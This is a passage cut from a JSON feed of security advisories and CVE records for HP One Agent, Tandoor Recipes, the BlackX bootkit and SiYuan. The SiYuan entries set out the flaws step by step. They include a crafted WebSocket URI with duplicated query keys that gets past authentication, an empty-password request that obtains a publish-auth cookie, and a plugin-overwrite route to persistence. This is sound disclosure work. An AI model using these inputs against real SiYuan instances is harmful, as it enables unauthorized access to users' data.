probability and percentile for CVE-2026-19741, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91093","cveId":"CVE-2026-91093","aliases":[],"kind":"vulnerability","title":"A potential security vulnerability has been identified in HP One Agent for certain HP PC products, which might allow for escalation\n               of privilege and/or arbitrary...","summary":"A potential security vulnerability has been identified in HP One Agent for certain HP PC products, which might allow for escalation\n               of privilege and/or arbitrary code execution. HP is releasing software updates to mitigate the potential vulnerability.","detail":"A potential security vulnerability has been identified in HP One Agent for certain HP PC products, which might allow for escalation\n               of privilege and/or arbitrary code execution. HP is releasing software updates to mitigate the potential vulnerability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T19:17:45.287Z","updatedAt":"2026-10-24T04:18:21.037Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91093","asOf":"2026-10-24T04:18:21.037Z"},"epss":{"probability":0.00164,"percentile":0.05523,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91093&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91093","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91093","type":"primary","publishedAt":"2026-10-23T19:17:45.287Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91093&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91093, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112342","cveId":"CVE-2026-112342","aliases":[],"kind":"vulnerability","title":"Tandoor Recipes before 2.7.0 contains an improper cache-key design in cookbook/helper/permission_helper.py that allows authenticated users to retain stale group-based permissions...","summary":"Tandoor Recipes before 2.7.0 contains an improper cache-key design in cookbook/helper/permission_helper.py that allows authenticated users to retain stale group-based permissions across different spaces by exploiting a cache key keyed only on user id while omitting the active space, with the cached entry's TTL refreshed on every request. Attackers can create their own space to obtain an admin group designation, then switch their active space to a victim space where they hold lesser privileges, causing the stale cached admin decision to authorize elevated access and bypass group revocations or demotions across multiple permission classes and views.","detail":"Tandoor Recipes before 2.7.0 contains an improper cache-key design in cookbook/helper/permission_helper.py that allows authenticated users to retain stale group-based permissions across different spaces by exploiting a cache key keyed only on user id while omitting the active space, with the cached entry's TTL refreshed on every request. Attackers can create their own space to obtain an admin group designation, then switch their active space to a victim space where they hold lesser privileges, causing the stale cached admin decision to authorize elevated access and bypass group revocations or demotions across multiple permission classes and views.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T19:17:43.203Z","updatedAt":"2026-10-23T21:17:21.483Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112342","asOf":"2026-10-23T21:17:21.483Z"},"epss":{"probability":0.00268,"percentile":0.18773,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112342&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112342","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112342","type":"primary","publishedAt":"2026-10-23T19:17:43.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112342&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112342, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-blackx-uefi-bootkit-bypasses-secure-68f2c8a7a2b6","cveId":null,"aliases":[],"kind":"vulnerability","title":"BlackX UEFI Bootkit Bypasses Secure Boot on Patched Windows Systems Missing Revocations","summary":"Diplomatic organizations in Central Asia have been targeted by a sophisticated new Unified Extensible Firmware Interface (UEFI) bootkit called BlackX.\n\nThe activity, which singled out diplomatic entities in Tajikistan, Uzbekistan, and Turkmenistan in early 2026, is suspected to be orchestrated by a China-linked state-sponsored hacking group known as APT41, Kaspersky said in a technical report","detail":"Diplomatic organizations in Central Asia have been targeted by a sophisticated new Unified Extensible Firmware Interface (UEFI) bootkit called BlackX.\n\nThe activity, which singled out diplomatic entities in Tajikistan, Uzbekistan, and Turkmenistan in early 2026, is suspected to be orchestrated by a China-linked state-sponsored hacking group known as APT41, Kaspersky said in a technical report\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-23T18:50:13.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: BlackX UEFI Bootkit Bypasses Secure Boot on Patched Windows Systems Missing Revocations","url":"https://thehackernews.com/2026/10/blackx-uefi-bootkit-bypasses-secure.html","type":"reporting","publishedAt":"2026-10-23T18:50:13.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-62204","cveId":"CVE-2026-62204","aliases":["GHSA-rpx2-p6hp-x5gj"],"kind":"vulnerability","title":"SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin","summary":"`installBazaarPlugin` (and the equivalent endpoints for widgets/icons/templates/themes) accept\n`packageName`, `repoURL`, and `repoHash` as independent request fields with no validation that\nthey refer to the same package. `packageName` alone determines the install destination;\n`repoURL`/`repoHash` alone determine what content gets downloaded and written there. A request\ncan name an already-installed, already-enabled plugin as `packageName` while pointing `repoURL`/\n`repoHash` at different, attacker-influenced content, silently overwriting the existing plugin's\nfiles.\n\n`kernel/api/bazaar.go`:\n```go\nutil.BindJsonArg(\"packageName\", &packageName, true, true)\nutil.BindJsonArg(\"repoURL\", &repoURL, true, true)\nutil.BindJsonArg(\"repoHash\", &repoHash, true, true)\nerr := model.InstallBazaarPackage(\"plugins\", repoURL, repoHash, packageName, 0)\n```","detail":"## Summary\n\n`installBazaarPlugin` (and the equivalent endpoints for widgets/icons/templates/themes) accept\n`packageName`, `repoURL`, and `repoHash` as independent request fields with no validation that\nthey refer to the same package. `packageName` alone determines the install destination;\n`repoURL`/`repoHash` alone determine what content gets downloaded and written there. A request\ncan name an already-installed, already-enabled plugin as `packageName` while pointing `repoURL`/\n`repoHash` at different, attacker-influenced content, silently overwriting the existing plugin's\nfiles.\n\n## Affected code\n\n`kernel/api/bazaar.go`:\n```go\nutil.BindJsonArg(\"packageName\", &packageName, true, true)\nutil.BindJsonArg(\"repoURL\", &repoURL, true, true)\nutil.BindJsonArg(\"repoHash\", &repoHash, true, true)\nerr := model.InstallBazaarPackage(\"plugins\", repoURL, repoHash, packageName, 0)\n```\n\n`kernel/model/bazaar.go`:\n```go\nfunc getPackageInstallPath(pkgType, packageName string) (string, string, error) {\n case \"plugins\":\n return filepath.Join(util.DataDir, \"plugins\", packageName), \"plugin.json\", nil\n```\n\n`kernel/bazaar/install.go`:\n```go\nfunc installPackage(data []byte, installPath string) (err error) {\n ...\n if err = filelock.Copy(srcPath, installPath); err != nil { return }\n return\n}\n```\n\n`installPath` is derived solely from `packageName`; the downloaded `data` is derived solely from\n`repoURL`/`repoHash`; nothing cross-validates them, and `installPackage` performs no check for\nwhether `installPath` already contains an existing package before copying into it. The same\npattern applies to the widget/icon/template/theme install endpoints, which share\n`getPackageInstallPath`.\n\nThis does not involve path traversal — `installPath` always resolves inside\n`DataDir/plugins/` (or the corresponding directory for other package types), so this is not an\ninstance of \"arbitrary file write outside the workspace path\" (excluded by this project's\nSECURITY.md). The issue is that the write lands in the *wrong, existing* location within the\nintended directory, not outside it — an authorization/identity-verification gap, not a path\ntraversal.\n\n## Reachability / why this is not trivially remote\n\nThe bazaar endpoints are gated by `model.CheckAuth`, `model.CheckAdminRole`, `model.CheckReadonly`.\nWhen no lock-screen password is configured (the common desktop default), `CheckAuth` still\nenforces a same-origin check:\n```go\nif !localhost || ... || (\"\" != origin && !util.IsLocalOrigin(origin)) || ... {\n // reject with 401\n}\n```\nI verified `IsLocalOrigin`/`IsLocalHostname` correctly parse the `Origin` header via `url.Parse`\nand check exact hostname / loopback IP:\n```go\nfunc IsLocalOrigin(origin string) bool {\n if u, err := url.Parse(origin); err == nil {\n return IsLocalHostname(u.Hostname())\n }\n return false\n}\nfunc IsLocalHostname(hostname string) bool {\n if \"localhost\" == hostname || strings.HasSuffix(hostname, \".localhost\") {\n return true\n }\n if ip := net.ParseIP(hostname); nil != ip {\n return ip.IsLoopback()\n }\n return false\n}\n```\nThis was tested against common bypass patterns (subdomain-suffix tricks like\n`localhost.attacker.com`, and `Origin: null` as sent by sandboxed iframes) and found no bypass —\nthis is a correctly-implemented check. This means a purely remote attacker (e.g. a malicious\nwebsite) cannot invoke this endpoint via CSRF; a request must originate from SiYuan's own\nrenderer origin.\n\n## Realistic impact\n\nGiven SiYuan runs as an Electron app with `nodeIntegration: true` (per prior advisories in this\nrepository), a same-origin script-execution primitive (e.g. an XSS bug in the renderer, of which\nseveral have been fixed in this repository recently) is typically already sufficient for direct\ncode execution. This bug's marginal value is **persistence**: a transient XSS-driven compromise\ncan use this endpoint to overwrite an existing, trusted, already-enabled plugin's `index.js`,\nconverting a one-time compromise into code that runs on every future launch of the application,\nsurviving after the original XSS vector is closed.\n\nThe overwrite does not effect immediately, via this specific\nendpoint. `PushReloadPlugin` (the websocket event that triggers frontend hot-reload without\nrestart) is only called from the batch-update path (`InstallBazaarPackages`, used by\n`batchUpdatePackage`), which explicitly checks `if petal != nil && petal.Enabled` before forcing\na reload via `SetPetalEnabled`. The single-package install endpoint (`installBazaarPlugin`) does\nnot call `PushReloadPlugin` at all — it only pushes a generic success toast. So an overwrite via\nthis endpoint activates on the next app restart or manual plugin toggle, rather than instantly \nstill a realistic and frequent event for a desktop application, but not an instant hot-reload.\n\n## Suggested fix\n\nVerify that `packageName` matches the package name declared in the downloaded package's own\n`plugin.json`/`theme.json`/etc. before copying into `installPath`, and/or refuse to install over\nan existing, non-empty destination directory unless the request is explicitly an update of that\nsame package (matching by source repo identity, not just by request-supplied name).\n\n## Verification notes\n\nConfirmed via static source review of `kernel/api/bazaar.go`, `kernel/model/bazaar.go`,\n`kernel/bazaar/install.go`, `kernel/model/session.go` (CheckAuth), `kernel/util/net.go`\n(IsLocalOrigin/IsLocalHostname), and `kernel/model/push_reload.go` /\n`app/src/plugin/loader.ts` (reload trigger wiring). I do not have a running SiYuan instance\nin this environment to execute an end-to-end proof of concept; findings are based on tracing\nthe actual, unmodified control flow across these files rather than assumption.\n\nAffected package ranges reported by GitHub:\ngithub.com/siyuan-note/siyuan/kernel: < 0.0.0-20260808010544-26ccb40d390e","action":"GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260808010544-26ccb40d390e. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T18:38:25.000Z","updatedAt":"2026-10-23T18:38:27.000Z","regions":["Global"],"vendor":null,"product":"github.com/siyuan-note/siyuan/kernel","stacks":["Go modules","github.com/siyuan-note/siyuan/kernel","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.6,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:L","sourceUrl":"https://github.com/advisories/GHSA-rpx2-p6hp-x5gj","asOf":"2026-10-23T18:38:27.000Z"},"epss":{"probability":0.00094,"percentile":0.00571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-62204&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rpx2-p6hp-x5gj","url":"https://github.com/advisories/GHSA-rpx2-p6hp-x5gj","type":"primary","publishedAt":"2026-10-23T18:38:25.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rpx2-p6hp-x5gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-rpx2-p6hp-x5gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-rpx2-p6hp-x5gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-rpx2-p6hp-x5gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-rpx2-p6hp-x5gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-rpx2-p6hp-x5gj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-rpx2-p6hp-x5gj, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-62204&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-62204, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73054","cveId":"CVE-2026-73054","aliases":["GHSA-c8w8-3pqp-wr83"],"kind":"vulnerability","title":"SiYuan: A parser differential between the WebSocket keepalive exemption and the session quarantine allows unauthenticated access to the broadcast event stream","summary":"Two checks on the same WebSocket request URI parse it differently. The authentication exemption for keepalive sessions matches raw substrings, while the quarantine introduced to contain those sessions reads a parsed query parameter. Because Go's `url.Values.Get` returns only the first value for a repeated key, a single URI can satisfy the exemption and still resolve to a non-auth session identity.\n\nThe result is that an unauthenticated remote caller connects to the kernel WebSocket with a valid access auth code configured, is placed in the general broadcast pool rather than the quarantined pool, and receives the live event stream.","detail":"### Summary\n\nTwo checks on the same WebSocket request URI parse it differently. The authentication exemption for keepalive sessions matches raw substrings, while the quarantine introduced to contain those sessions reads a parsed query parameter. Because Go's `url.Values.Get` returns only the first value for a repeated key, a single URI can satisfy the exemption and still resolve to a non-auth session identity.\n\nThe result is that an unauthenticated remote caller connects to the kernel WebSocket with a valid access auth code configured, is placed in the general broadcast pool rather than the quarantined pool, and receives the live event stream.\n\n### Details\n\n**The exemption matches substrings.** `kernel/server/serve.go:1222` on the development branch, `:1074` on master:\n\n```go\nauthOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") &&\n strings.Contains(s.Request.RequestURI, \"&id=auth&type=auth\")\n```\n\nNeither operand is parsed. Any URI containing both literals is exempted, regardless of what the query actually resolves to.\n\n**The quarantine parses.** Commit `1e370e373` added the containment for exempted sessions at `kernel/util/websocket.go:171`:\n\n```go\nid = session.Request.URL.Query().Get(\"id\")\nreturn \"auth\" == id\n```\n\n`url.Values.Get` returns the first value for a repeated key.\n\n**The differential.** For the URI:\n\n```\n/ws?app=siyuan&id=main&type=main&id=auth&type=auth\n```\n\n- It contains `/ws?app=siyuan` and `&id=auth&type=auth`, so `authOk` is true. No cookie, no JWT and no access auth code are required.\n- `Query().Get(\"id\")` returns `main`, so `IsAuthSession` is false. `AddPushChan` files the session in `sessions`, the broadcast pool, rather than in `authSessions`.\n- `Query().Get(\"type\")` returns `main`, so the session matches `BroadcastByType(\"main\", ...)`.\n- Without a valid `X-Auth-Token` the publish flag is never set, so `isPublishSession()` does not exclude it either.\n\nEvery guard that should have caught the session keys off a different parse than the one that admitted it.\n\n**No origin validation.** `CheckOrigin` does not appear on the `/ws` path, so the cross-origin vector described in the parent advisory also remains available.\n\n**Distinction from the existing broadcast-pool advisory.** GHSA-mw8r-mw84-88v2 concerns the publish port, where an anonymous session is expected to connect and the defect is that broadcast content is not gated for it afterwards. This report concerns the kernel port with an access auth code configured, where the session should never be admitted in the first place. The leaked data overlaps because both end in the same broadcast pool, but the mechanisms and the affected deployments are different, and gating publish sessions does not close this path.\n\n### Proof of Concept\n\nKernel port, `--accessAuthCode` set. Three WebSocket connections, none carrying credentials of any kind.\n\n| Socket | Query | Result |\n|---|---|---|\n| A, baseline | `?app=siyuan&id=main&type=main` | Rejected, closed 1002, 0 frames |\n| B, control | `?app=siyuan&id=auth&type=auth` | Connects, 0 frames |\n| C, attack | `?app=siyuan&id=main&type=main&id=auth&type=auth` | Connects, 19 to 30 frames across two runs |\n\nSocket A establishes that the access auth code is enforced. Socket B establishes that the existing quarantine works exactly as intended, admitting the keepalive session but delivering nothing to it. Socket C differs from B only in the duplicated parameters, and receives the event stream.\n\nFrames observed on socket C included `savedoc` (`\"action\":\"create\",\"data\":{\"Root\":{\"ID\": ...`), `transactions` (`\"action\":\"updateAttrs\"` carrying document titles), `filetreeSortChanged` (the notebook's complete ordered `childIDs`), `create` (a notebook object including its `name`), and `backgroundtask`.\n\nA canary string placed inside a document body did not appear in any frame, on a full-text search of all captured frames.\n\n### Impact\n\nAn unauthenticated remote caller obtains the kernel's live event stream on a deployment protected by an access auth code, with no user interaction and no prior knowledge of the instance.\n\nPrecisely what is disclosed: document identifiers and titles, notebook identifiers and names, file paths, the complete ordered child structure of notebooks, and the full stream of create, update and delete operations as they occur. Document body content is not present in the observed frames.\n\nThat set corresponds to the disclosure claimed by GHSA-xp2m-98x8-rpj6, which means the remediation for that advisory is bypassable rather than incomplete in scope. The absence of origin validation on the endpoint additionally preserves the cross-origin reachability described there.\n\nConfidentiality only. No frames observed permitted writes.\n\n### Suggested fix\n\nMake both checks agree, and stop re-parsing attacker-controlled input after admission.\n\n1. In the exemption, parse the query rather than matching substrings, and require `id` and `type` each to equal `auth` exactly.\n2. Reject requests carrying duplicated query keys on this endpoint, so no URI can present two identities.\n3. Record the exemption as a flag on the session at connect time, and have `IsAuthSession` read that flag rather than re-parsing the request. A session admitted under the keepalive exemption is then quarantined by construction, independent of how its URI is read later.\n\nAdding origin validation to `/ws` would additionally close the cross-origin vector.\n\nAffected package ranges reported by GitHub:\ngithub.com/siyuan-note/siyuan/kernel: < 0.0.0-20260731131820-67bc300b6ea6","action":"GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260731131820-67bc300b6ea6. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T18:34:09.000Z","updatedAt":"2026-10-23T18:34:11.000Z","regions":["Global"],"vendor":null,"product":"github.com/siyuan-note/siyuan/kernel","stacks":["Go modules","github.com/siyuan-note/siyuan/kernel","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-c8w8-3pqp-wr83","asOf":"2026-10-23T18:34:11.000Z"},"epss":{"probability":0.00539,"percentile":0.45081,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73054&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-c8w8-3pqp-wr83","url":"https://github.com/advisories/GHSA-c8w8-3pqp-wr83","type":"primary","publishedAt":"2026-10-23T18:34:09.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-c8w8-3pqp-wr83, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-c8w8-3pqp-wr83, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-c8w8-3pqp-wr83, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-c8w8-3pqp-wr83, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-c8w8-3pqp-wr83, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-c8w8-3pqp-wr83, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-c8w8-3pqp-wr83, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-c8w8-3pqp-wr83, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73054&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73054, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73630","cveId":"CVE-2026-73630","aliases":["GHSA-4pjg-x8qj-33j5"],"kind":"vulnerability","title":"SiYuan: authFilePublishAccess distinguishes hidden and forbidden documents from public and nonexistent ones, and issues a publish-auth cookie for documents it reports as forbidden","summary":"`/api/filetree/authFilePublishAccess` is registered with `CheckAuth` only and is reachable anonymously. It never sets a failure code, so its outcome is signalled entirely by the response message and by whether a `Set-Cookie` header is present. Those two signals differ across access tiers, which lets an anonymous caller determine, for any candidate document identifier, whether that document is public or nonexistent, password-protected, or exists at the hidden or forbidden tier.\n\nSeparately, hidden and forbidden entries carry an empty password. Submitting `password:\"\"` therefore satisfies the equality check for them, and the server responds by issuing `Set-Cookie: publish-auth- ` for a document whose own tier is forbidden.","detail":"### Summary\n\n`/api/filetree/authFilePublishAccess` is registered with `CheckAuth` only and is reachable anonymously. It never sets a failure code, so its outcome is signalled entirely by the response message and by whether a `Set-Cookie` header is present. Those two signals differ across access tiers, which lets an anonymous caller determine, for any candidate document identifier, whether that document is public or nonexistent, password-protected, or exists at the hidden or forbidden tier.\n\nSeparately, hidden and forbidden entries carry an empty password. Submitting `password:\"\"` therefore satisfies the equality check for them, and the server responds by issuing `Set-Cookie: publish-auth- ` for a document whose own tier is forbidden.\n\n### Details\n\n**Route,** identical on both refs:\n\n```go\nginServer.Handle(\"POST\", \"/api/filetree/authFilePublishAccess\", model.CheckAuth, authFilePublishAccess)\n```\n\nNo `CheckAdminRole`, no `CheckReadonly`.\n\n**Handler,** `kernel/api/filetree.go:1608` on the development branch and `:1421` on master. `ret.Code` is never assigned on the failure path, so every 